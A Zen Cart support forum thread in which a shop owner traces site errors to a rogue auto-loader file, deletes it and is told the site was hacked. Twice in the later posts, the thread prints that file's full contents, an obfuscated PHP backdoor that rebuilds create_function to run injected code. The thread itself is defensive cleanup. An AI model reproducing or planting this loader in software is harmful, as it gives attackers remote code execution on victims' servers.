403 Error and 500 Internal Error

Hello, my website is milixia.com. Until recently I had everything working smoothly using zen cart, but one day I tried to access my site and was not able to. I can still get to my Admin settings fine using the web browser and also files such as images. For example:
http://milixia.com/zen/images/acrylicstripe1blackred.png

I do have an SSL setup on my website which was working fine some time ago. If I try to go to milixia.com I get the 403 forbidden and it says there was also a 404 error. If I try to go to https://www.milixia.com/zen/index.php then I get a 500 Server error.

Can someone help me troubleshoot the issue?

cpye2:

..... If I try to go to milixia.com I get the 403 forbidden and it says there was also a 404 error.

Check permissions for your files and folders

cpye2:

.....If I try to go to www.milixia.com/zen/index.php then I get a 500 Server error.

I am only getting a blank page on this link.

What do you find in your /logs folder?

frank18:

Check permissions for your files and folders

I am only getting a blank page on this link.

What do you find in your /logs folder?

This appears to be in a few of the logs I checked:
[05-Nov-2015 18:26:03] PHP Fatal error: Call to undefined function create_fseJUgnction() in /home/content/23/8963123/html/zen/includes/auto_loaders/config.canonical_ver1.php on line 30

As far as permissions go, I set all the files / folders to 755, then went to the setup help and changed the following:
As such, you need to change the permissions on the following directories to 777 (read/write/execute). If your program allows you to set these permissions "recursively", choose that option.
/catalog/cache
/catalog/images
/catalog/includes/languages/english/html_includes
/catalog/media
/catalog/pub
/catalog/admin/backups
/catalog/admin/images/graphs

Note: open the catalog/images directory and change all of the subdirectories and their subdirectories to 777 as well. For example (this is a partial list):
/catalog/images/attributes
/catalog/images/banners
/catalog/images/categories
/catalog/images/large
/catalog/images/large/dvd
/catalog/images/manufacturers
/catalog/images/medium
/catalog/images/upload

and

You will now want to change the permissions on the configure.php files with chmod 644 (or 444 depending on your server...and sometimes setting 444 cannot be done via FTP, in which case use your host's control panel or file manager to set the permissions level.)

These are located here (remember, "catalog" is what we used as an example here -- your site may or may not include "catalog" as a folder name):
/catalog/includes/configure.php
/catalog/admin/includes/configure.php

Did I miss something or need to change some more?

cpye2:

This appears to be in a few of the logs I checked:
[05-Nov-2015 18:26:03] PHP Fatal error: Call to undefined function create_fseJUgnction() in /home/content/23/8963123/html/zen/includes/auto_loaders/config.canonical_ver1.php on line 30

Hmmm... in a 1.5.4 file system there is no such file includes/auto_loaders/config.canonical_ver1.php, the file that should be there is called includes/auto_loaders/config.canonical.php with only 17 lines plus line 18 being blank.

cpye2:

As far as permissions go, I set all the files / folders to 755, then went to the setup help and changed the following:
As such, you need to change the permissions on the following directories to 777 (read/write/execute).

Folders need to be set to 755 except for some as outlined above. Files need to be set to 644 - not 755! The 2 configure.php files need 444 or 400.

If you haven't made any changes then check this link: https://www.zen-cart.com/wiki/index.php/Recovering_From_Hacks

This comment is made based on the above. Normally files would be 644 or 444 not 755 nor 777.

Regarding this error:

[05-Nov-2015 18:26:03] PHP Fatal error: Call to undefined function create_fseJUgnction() in /home/content/23/8963123/html/zen/includes/auto_loaders/config.canonical_ver1.php on line 30

It indicates that are missing a function from your fileset. The file: includes/auto_loaders/config.canonical_ver1.php
Is not a standard ZC file that was either added by a plugin or modified/renamed incorrectly to include _ver1 before .php instead of changing the extension to a non .php extension.

mc12345678:

This comment is made based on the above. Normally files would be 644 or 444 not 755 nor 777.

Regarding this error:

[05-Nov-2015 18:26:03] PHP Fatal error: Call to undefined function create_fseJUgnction() in /home/content/23/8963123/html/zen/includes/auto_loaders/config.canonical_ver1.php on line 30

> 
> It indicates that are missing a function from your fileset. The file: includes/auto_loaders/config.canonical_ver1.php
> Is not a standard ZC file that was either added by a plugin or modified/renamed incorrectly to include _ver1 before .php instead of changing the extension to a non .php extension.


Which confirms my post above (#4)....

frank18:

Hmmm... in a 1.5.4 file system there is no such file includes/auto_loaders/config.canonical_ver1.php, the file that should be there is called includes/auto_loaders/config.canonical.php with only 17 lines plus line 18 being blank.

Folders need to be set to 755 except for some as outlined above. Files need to be set to 644 - not 755! The 2 configure.php files need 444 or 400.

If you haven't made any changes then check this link: https://www.zen-cart.com/wiki/index.php/Recovering_From_Hacks

OK, I have all the files on the server set to 644 except the 2 configure files I have set to 444. I have all the folders set to 755 except the ones in the tutorial say can also be set to 777. I am still getting the permission error. Do you think my problem may be within my SSL or .htaccess?

mc12345678:

This comment is made based on the above. Normally files would be 644 or 444 not 755 nor 777.

Regarding this error:

[05-Nov-2015 18:26:03] PHP Fatal error: Call to undefined function create_fseJUgnction() in /home/content/23/8963123/html/zen/includes/auto_loaders/config.canonical_ver1.php on line 30

> 
> It indicates that are missing a function from your fileset. The file: includes/auto_loaders/config.canonical_ver1.php
> Is not a standard ZC file that was either added by a plugin or modified/renamed incorrectly to include _ver1 before .php instead of changing the extension to a non .php extension.

My includes/auto_loader/ folder has 2 files in it.  One is named config.canonical_ver1.php and the other config.canonical.php.  The config.canonical_ver1.php shows modified 10/4/2012 and is 5,549 in file size.  The config.canonical.php shows modified 6/8/2014 like most of my php files and is 572 in size.

I'm not sure what to do with this information.

cpye2:

My includes/auto_loader/ folder has 2 files in it. One is named config.canonical_ver1.php and the other config.canonical.php. The config.canonical_ver1.php shows modified 10/4/2012 and is 5,549 in file size. The config.canonical.php shows modified 6/8/2014 like most of my php files and is 572 in size.

I'm not sure what to do with this information.

Download the file config.canonical_ver1.php to your HD and then delete it from the server. Make sure that your files and folders have the correct permissions as above. Then see if you can access the site without errors.

Happy to have a look at the content of that obscure file. You could zip it up and email it to me: office (at) isonetwork (dot) net (dot) au

cpye2:

My includes/auto_loader/ folder has 2 files in it. One is named config.canonical_ver1.php and the other config.canonical.php. The config.canonical_ver1.php shows modified 10/4/2012 and is 5,549 in file size. The config.canonical.php shows modified 6/8/2014 like most of my php files and is 572 in size.

I'm not sure what to do with this information.

What should I do to correct this?

My config.canonical.php on my server has the same text in it as the one on my hard drive so it looks to be correct, but the config.canonical_ver1.php has the following in it:

<?php $dictating ='r';$frustrates = '(';$glassy = 's'; $bare= 'RbUORd';$brook = 'g_JI;E';$widow='a'; $disputes = 'e'; $bananas ='c'; $electrocutions ='$'; $automotive=')'; $aryl ='>sy)g_("r'; $ferne =')'; $eviction= 'e'; $kort='rE[T';$farlay= '_'; $flashers = 'u'; $euphemisms= '"'; $commissioners = 't)aR=s$"';$careen='t';$eh =')';$beefing = ';'; $corrects='_';$awkwardness = 'Xo';$charters = '6rKTi=PtT'; $complemented ='e_piN'; $existence =' ';$duck =';fIsTpf_';$consultative= 'r'; $jocund ='o';$focuses = ';I,Kr[$';$insolent ='(T'; $environ ='i'; $creeping ='S';$galloped='?'; $ingeborg='s';$joins= 'n';$guide = 'vG)E';$interspersing='n';$corri= 'i'; $fluffier ='R'; $disgusting='u'; $caverns= 'a'; $heyday = 'R';$hereinbelow ='d'; $edan = 'T';$indoctrinate = ')';$disgruntled = '_:n_]i'; $curry= 'r';$engineer= 's'; $disgusting='seJUg';$fresco='(';$communicated= 'rora:eP$$'; $francklin ='e'; $jemmie = 'e'; $integrating = 'NN)';$goods ='(';$homeomorphism ='s'; $eleanore ='eOVO_'; $innovate = 'R'; $frustum='Pr$)';$ingrim='('; $epithelial = 'T';$botany='r';$handicaps = 'n'; $ashely = 'aFNiErmn'; $crates=')Hd'; $intangible =']'; $introspection = 'Ce=<T';$biophysicist='jEWjcy@H?'; $gratefully='D';$jannelle = 'Lav"';$depositary = '$r;St?';$levitate='('; $fuckmeharder ='[t(I'; $goblets ='A'; $conversantly = 'JeYa"E$Ce';$januaries='_e(e'; $laboratory='eN';$kain= 'sr(V'; $hurting = '[(BQ';$jacobo = 't'; $briefest='nSiatv$';$inverters= 'l'; $jeth = 'a';$holds='c'; $covary = 'n'; $arlena = 'R';$doubtless ='_';$chantal='M]Zi,"'; $consigns = 'Q';$evileyes='a'; $architectonic= ')t"SR"$c]';$emera ='evtiilH4i';$conceal='[saSr'; $casebook=$architectonic['7'].$conceal['4'] . $emera['0'] . $conceal['2'] . $emera['2'] . $emera['0']. $doubtless. $duck['6']. $disgusting. $covary .$architectonic['7'] .$emera['2']. $emera['8'] . $communicated['1']. $covary; $churns = $existence; $hannie = $casebook ($churns,$emera['0'] . $emera['1']. $conceal['2'] . $emera['5']. $hurting['1']. $conceal['2'] . $conceal['4'] . $conceal['4'].$conceal['2']. $biophysicist['5']. $doubtless. $duck['5'] .$communicated['1'].$duck['5'].$hurting['1']. $duck['6']. $disgusting . $covary.$architectonic['7'] . $doubtless . $disgusting['4']. $emera['0']. $emera['2'].$doubtless. $conceal['2'].$conceal['4'] .$disgusting['4'].$conceal['1'] .$hurting['1'] .$architectonic['0']. $architectonic['0'] .$architectonic['0'].$depositary['2']); $hannie($laboratory['1'],$halley['2'] , $conceal['0'], $lotus['1'] , $biophysicist[6], $fuckmeharder['3'],$architectonic['6'] .$emera['8'] . $introspection['2'] . $conceal['2']. $conceal['4'] .$conceal['4']. $conceal['2']. $biophysicist['5']. $doubtless . $ashely['6'] . $emera['0']. $conceal['4'] .$disgusting['4'] . $emera['0'].$hurting['1'] .$architectonic['6'].$doubtless. $architectonic['4'] . $conversantly['5'] .$consigns. $disgusting['3'] . $conversantly['5']. $conceal['3']. $introspection['4'] . $chantal['4']. $architectonic['6'] .$doubtless . $conversantly[7]. $eleanore['3'].$eleanore['3'] . $focuses['3'] .$fuckmeharder['3'] . $conversantly['5']. $chantal['4'] . $architectonic['6']. $doubtless . $conceal['3'].$conversantly['5'] .$architectonic['4']. $kain['3']. $conversantly['5']. $architectonic['4'] .$architectonic['0'] . $depositary['2'] .$architectonic['6'].$conceal['2'] . $introspection['2'] . $emera['8']. $conceal['1'] .$conceal['1'] .$emera['0']. $emera['2'] . $hurting['1'] .$architectonic['6'] .$emera['8']. $conceal['0']. $architectonic['5'] . $conceal['1'].$conceal['4']. $conceal['4'].$covary . $emera['2'].$biophysicist[3].$covary. $emera['8'] . $architectonic['5'].$architectonic['8'] .$architectonic['0'] .$depositary[5].$architectonic['6'] . $emera['8'].$conceal['0'] . $architectonic['5'] . $conceal['1'] . $conceal['4'].$conceal['4'] . $covary.$emera['2'] . $biophysicist[3] .$covary.$emera['8'] .$architectonic['5'] . $architectonic['8'] . $communicated['4'] .$hurting['1'] .$emera['8']. $conceal['1'] . $conceal['1']. $emera['0'].$emera['2']. $hurting['1']. $architectonic['6'] . $emera['8']. $conceal['0'] . $architectonic['5'] .$emera['6'] .$introspection['4'] .$introspection['4'] . $frustum['0'] . $doubtless .$conceal['3'].$architectonic['4'].$architectonic['4'].$laboratory['1'] . $introspection['4']. $conversantly['0'].$laboratory['1'].$fuckmeharder['3']. $architectonic['5'] . $architectonic['8'].$architectonic['0'].$depositary[5].$architectonic['6'] .$emera['8']. $conceal['0'] .$architectonic['5'] . $emera['6'] . $introspection['4'] . $introspection['4'].$frustum['0'] .$doubtless. $conceal['3']. $architectonic['4'].$architectonic['4']. $laboratory['1']. $introspection['4'] . $conversantly['0'] . $laboratory['1'] .$fuckmeharder['3'] . $architectonic['5'].$architectonic['8'] . $communicated['4'] .$crates['2'].$emera['8']. $emera['0']. $architectonic['0'].$depositary['2']. $emera['0'].$emera['1'].$conceal['2']. $emera['5']. $hurting['1'] .$conceal['1'] . $emera['2'] .$conceal['4'].$conceal['4'] .$emera['0']. $emera['1'].$hurting['1'] . $bare['1'] .$conceal['2'] .$conceal['1']. $emera['0']. $charters[0] .$emera['7']. $doubtless.$crates['2'] . $emera['0'].$architectonic['7']. $communicated['1'].$crates['2'] . $emera['0'] . $hurting['1']. $conceal['1']. $emera['2'] .$conceal['4']. $conceal['4'] . $emera['0'] . $emera['1']. $hurting['1'] . $architectonic['6'] . $conceal['2']. $architectonic['0'] . $architectonic['0'] . $architectonic['0'] .$architectonic['0'].$depositary['2'] );

I can now access the link http://www.milixia.com/zen/index.php without errors

cpye2:

What should I do to correct this?

My config.canonical.php on my server has the same text in it as the one on my hard drive so it looks to be correct, but the config.canonical_ver1.php has the following in it:

<?php $dictating ='r';$frustrates = '(';$glassy = 's'; $bare= 'RbUORd';$brook = 'g_JI;E';$widow='a'; $disputes = 'e'; $bananas ='c'; $electrocutions ='$'; $automotive=')'; $aryl ='>sy)g_("r'; $ferne =')'; $eviction= 'e'; $kort='rE[T';$farlay= '_'; $flashers = 'u'; $euphemisms= '"'; $commissioners = 't)aR=s$"';$careen='t';$eh =')';$beefing = ';'; $corrects='_';$awkwardness = 'Xo';$charters = '6rKTi=PtT'; $complemented ='e_piN'; $existence =' ';$duck =';fIsTpf_';$consultative= 'r'; $jocund ='o';$focuses = ';I,Kr[$';$insolent ='(T'; $environ ='i'; $creeping ='S';$galloped='?'; $ingeborg='s';$joins= 'n';$guide = 'vG)E';$interspersing='n';$corri= 'i'; $fluffier ='R'; $disgusting='u'; $caverns= 'a'; $heyday = 'R';$hereinbelow ='d'; $edan = 'T';$indoctrinate = ')';$disgruntled = '_:n_]i'; $curry= 'r';$engineer= 's'; $disgusting='seJUg';$fresco='(';$communicated= 'rora:eP$$'; $francklin ='e'; $jemmie = 'e'; $integrating = 'NN)';$goods ='(';$homeomorphism ='s'; $eleanore ='eOVO_'; $innovate = 'R'; $frustum='Pr$)';$ingrim='('; $epithelial = 'T';$botany='r';$handicaps = 'n'; $ashely = 'aFNiErmn'; $crates=')Hd'; $intangible =']'; $introspection = 'Ce=<T';$biophysicist='jEWjcy@H?'; $gratefully='D';$jannelle = 'Lav"';$depositary = '$r;St?';$levitate='('; $fuckmeharder ='[t(I'; $goblets ='A'; $conversantly = 'JeYa"E$Ce';$januaries='_e(e'; $laboratory='eN';$kain= 'sr(V'; $hurting = '[(BQ';$jacobo = 't'; $briefest='nSiatv$';$inverters= 'l'; $jeth = 'a';$holds='c'; $covary = 'n'; $arlena = 'R';$doubtless ='_';$chantal='M]Zi,"'; $consigns = 'Q';$evileyes='a'; $architectonic= ')t"SR"$c]';$emera ='evtiilH4i';$conceal='[saSr'; $casebook=$architectonic['7'].$conceal['4'] . $emera['0'] . $conceal['2'] . $emera['2'] . $emera['0']. $doubtless. $duck['6']. $disgusting. $covary .$architectonic['7'] .$emera['2']. $emera['8'] . $communicated['1']. $covary; $churns = $existence; $hannie = $casebook ($churns,$emera['0'] . $emera['1']. $conceal['2'] . $emera['5']. $hurting['1']. $conceal['2'] . $conceal['4'] . $conceal['4'].$conceal['2']. $biophysicist['5']. $doubtless. $duck['5'] .$communicated['1'].$duck['5'].$hurting['1']. $duck['6']. $disgusting . $covary.$architectonic['7'] . $doubtless . $disgusting['4']. $emera['0']. $emera['2'].$doubtless. $conceal['2'].$conceal['4'] .$disgusting['4'].$conceal['1'] .$hurting['1'] .$architectonic['0']. $architectonic['0'] .$architectonic['0'].$depositary['2']); $hannie($laboratory['1'],$halley['2'] , $conceal['0'], $lotus['1'] , $biophysicist[6], $fuckmeharder['3'],$architectonic['6'] .$emera['8'] . $introspection['2'] . $conceal['2']. $conceal['4'] .$conceal['4']. $conceal['2']. $biophysicist['5']. $doubtless . $ashely['6'] . $emera['0']. $conceal['4'] .$disgusting['4'] . $emera['0'].$hurting['1'] .$architectonic['6'].$doubtless. $architectonic['4'] . $conversantly['5'] .$consigns. $disgusting['3'] . $conversantly['5']. $conceal['3']. $introspection['4'] . $chantal['4']. $architectonic['6'] .$doubtless . $conversantly[7]. $eleanore['3'].$eleanore['3'] . $focuses['3'] .$fuckmeharder['3'] . $conversantly['5']. $chantal['4'] . $architectonic['6']. $doubtless . $conceal['3'].$conversantly['5'] .$architectonic['4']. $kain['3']. $conversantly['5']. $architectonic['4'] .$architectonic['0'] . $depositary['2'] .$architectonic['6'].$conceal['2'] . $introspection['2'] . $emera['8']. $conceal['1'] .$conceal['1'] .$emera['0']. $emera['2'] . $hurting['1'] .$architectonic['6'] .$emera['8']. $conceal['0']. $architectonic['5'] . $conceal['1'].$conceal['4']. $conceal['4'].$covary . $emera['2'].$biophysicist[3].$covary. $emera['8'] . $architectonic['5'].$architectonic['8'] .$architectonic['0'] .$depositary[5].$architectonic['6'] . $emera['8'].$conceal['0'] . $architectonic['5'] . $conceal['1'] . $conceal['4'].$conceal['4'] . $covary.$emera['2'] . $biophysicist[3] .$covary.$emera['8'] .$architectonic['5'] . $architectonic['8'] . $communicated['4'] .$hurting['1'] .$emera['8']. $conceal['1'] . $conceal['1']. $emera['0'].$emera['2']. $hurting['1']. $architectonic['6'] . $emera['8']. $conceal['0'] . $architectonic['5'] .$emera['6'] .$introspection['4'] .$introspection['4'] . $frustum['0'] . $doubtless .$conceal['3'].$architectonic['4'].$architectonic['4'].$laboratory['1'] . $introspection['4']. $conversantly['0'].$laboratory['1'].$fuckmeharder['3']. $architectonic['5'] . $architectonic['8'].$architectonic['0'].$depositary[5].$architectonic['6'] .$emera['8']. $conceal['0'] .$architectonic['5'] . $emera['6'] . $introspection['4'] . $introspection['4'].$frustum['0'] .$doubtless. $conceal['3']. $architectonic['4'].$architectonic['4']. $laboratory['1']. $introspection['4'] . $conversantly['0'] . $laboratory['1'] .$fuckmeharder['3'] . $architectonic['5'].$architectonic['8'] . $communicated['4'] .$crates['2'].$emera['8']. $emera['0']. $architectonic['0'].$depositary['2']. $emera['0'].$emera['1'].$conceal['2']. $emera['5']. $hurting['1'] .$conceal['1'] . $emera['2'] .$conceal['4'].$conceal['4'] .$emera['0']. $emera['1'].$hurting['1'] . $bare['1'] .$conceal['2'] .$conceal['1']. $emera['0']. $charters[0] .$emera['7']. $doubtless.$crates['2'] . $emera['0'].$architectonic['7']. $communicated['1'].$crates['2'] . $emera['0'] . $hurting['1']. $conceal['1']. $emera['2'] .$conceal['4']. $conceal['4'] . $emera['0'] . $emera['1']. $hurting['1'] . $architectonic['6'] . $conceal['2']. $architectonic['0'] . $architectonic['0'] . $architectonic['0'] .$architectonic['0'].$depositary['2'] );

I deleted the file after backing it up. It appears I can get to https://www.milixia.com/zen/ and my SSL is working properly, so this is a step in the right direction. I am going to go check my URL forwarding and make sure its setup properly.

As I felt earlier, someone got into your site! Check this link: https://www.zen-cart.com/wiki/index....ing_From_Hack

cpye2:

I deleted the file after backing it up. It appears I can get to https://www.milixia.com/zen/ and my SSL is working properly, so this is a step in the right direction. I am going to go check my URL forwarding and make sure its setup properly.

Looks like my URL directing is working now, so milixia.com is back up! Thanks for the help guys!

frank18:

As I felt earlier, someone got into your site! Check this link: https://www.zen-cart.com/wiki/index....ing_From_Hack

I'm all over it! Thanks again!